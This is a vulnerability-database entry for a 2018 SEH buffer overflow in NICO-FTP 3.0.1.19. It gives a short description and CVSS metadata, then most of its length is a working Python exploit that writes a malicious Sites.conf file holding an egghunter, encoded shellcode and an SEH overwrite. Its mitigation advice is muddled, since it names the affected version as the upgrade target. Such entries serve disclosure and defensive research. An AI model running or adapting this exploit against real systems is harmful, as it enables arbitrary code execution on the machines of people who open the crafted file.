NICO-FTP 3.0.1.19 - Buffer Overflow (SEH)(ASLR)

vendor:

NICO-FTP

by:

Miguel Mendez Z

7.8

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: NICO-FTP

Affected Version From: 3.0.1.19

Affected Version To: 3.0.1.19

Patch Exists: YES

Related CWE: N/A

CPE: a:nico-ftp:nico-ftp:3.0.1.19

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows XP_sp3 [es]/ Windows 7_x86 [eng]

2018

NICO-FTP 3.0.1.19 – Buffer Overflow (SEH)(ASLR)

A buffer overflow vulnerability exists in NICO-FTP 3.0.1.19 which allows an attacker to execute arbitrary code by sending a specially crafted payload to the vulnerable application. The vulnerability is caused due to a boundary error when handling user-supplied input, specifically when handling the 'Sites.conf' file. This can be exploited to cause a stack-based buffer overflow by sending a specially crafted payload to the vulnerable application. Successful exploitation of this vulnerability could result in arbitrary code execution in the context of the application.

Mitigation:

Upgrade to the latest version of NICO-FTP 3.0.1.19 or apply the appropriate patch.

Source

Exploit-DB raw data:

# Title: NICO-FTP 3.0.1.19 - Buffer Overflow (SEH)(ASLR)
# Date: 2018-10-04
# Platforms: Windows
# Author: Miguel Mendez Z
# Vendor: Nico-FTP
# Version: 3.0.1.19
# Tested on: Windows XP_sp3 [es]/ Windows 7_x86 [eng]

#!/usr/bin/python

import struct

# Bad Byte: \x0a\x0b\x0c\x0d\x0e\x0f\x5d
happy = (
	"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c"
	"\x05\x5a\x74\xef\xb8\x30\x52\x31\x53\x8b\xfa\xaf\x75"
	"\xea\xaf\x75\xe7\xff\xe7")
happy += "\x90"*50

shell  = "\x30\x52\x31\x53"*2 # S1R0
shell += "\x90"*8
shell += (
	"\x6a\x30\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13"
	"\x25\xa8\xbe\x1c\x83\xeb\xfc\xe2\xf4\xd9\x40\x3c\x1c"
	"\x25\xa8\xde\x95\xc0\x99\x7e\x78\xae\xf8\x8e\x97\x77"
	"\xa4\x35\x4e\x31\x23\xcc\x34\x2a\x1f\xf4\x3a\x14\x57"
	"\x12\x20\x44\xd4\xbc\x30\x05\x69\x71\x11\x24\x6f\x5c"
	"\xee\x77\xff\x35\x4e\x35\x23\xf4\x20\xae\xe4\xaf\x64"
	"\xc6\xe0\xbf\xcd\x74\x23\xe7\x3c\x24\x7b\x35\x55\x3d"
	"\x4b\x84\x55\xae\x9c\x35\x1d\xf3\x99\x41\xb0\xe4\x67"
	"\xb3\x1d\xe2\x90\x5e\x69\xd3\xab\xc3\xe4\x1e\xd5\x9a"
	"\x69\xc1\xf0\x35\x44\x01\xa9\x6d\x7a\xae\xa4\xf5\x97"
	"\x7d\xb4\xbf\xcf\xae\xac\x35\x1d\xf5\x21\xfa\x38\x01"
	"\xf3\xe5\x7d\x7c\xf2\xef\xe3\xc5\xf7\xe1\x46\xae\xba"
	"\x55\x91\x78\xc2\xbf\x91\xa0\x1a\xbe\x1c\x25\xf8\xd6"
	"\x2d\xae\xc7\x39\xe3\xf0\x13\x4e\xa9\x87\xfe\xd6\xba"
	"\xb0\x15\x23\xe3\xf0\x94\xb8\x60\x2f\x28\x45\xfc\x50"
	"\xad\x05\x5b\x36\xda\xd1\x76\x25\xfb\x41\xc9\x46\xc9"
	"\xd2\x7f\x25\xa8\xbe\x1c")
shell += "\x90"*30

lol = "ftp.pwnd.com"+" "*50
padding = lol+"\x41"*(4132-(len(shell)+len(happy)+len(lol)))
next_se = "\xEB\x90\x90\x90"
seh_han = struct.pack("<I",0x00422B46) #pop ecx - pop ebp - ret 0x04 -> NicoFtp3.exe
nops = " "*(4881-len(padding))
 
payload = padding+shell+happy+next_se+seh_han+nops

file = open('Sites.conf','w')
file.write('['+payload+']\nHost=\nPort=\nUserName=\nPassword=\nAnonymous=1\nPassive=2\nUseProxy=1\nLocalDir=\nHostDir=\n')
file.close()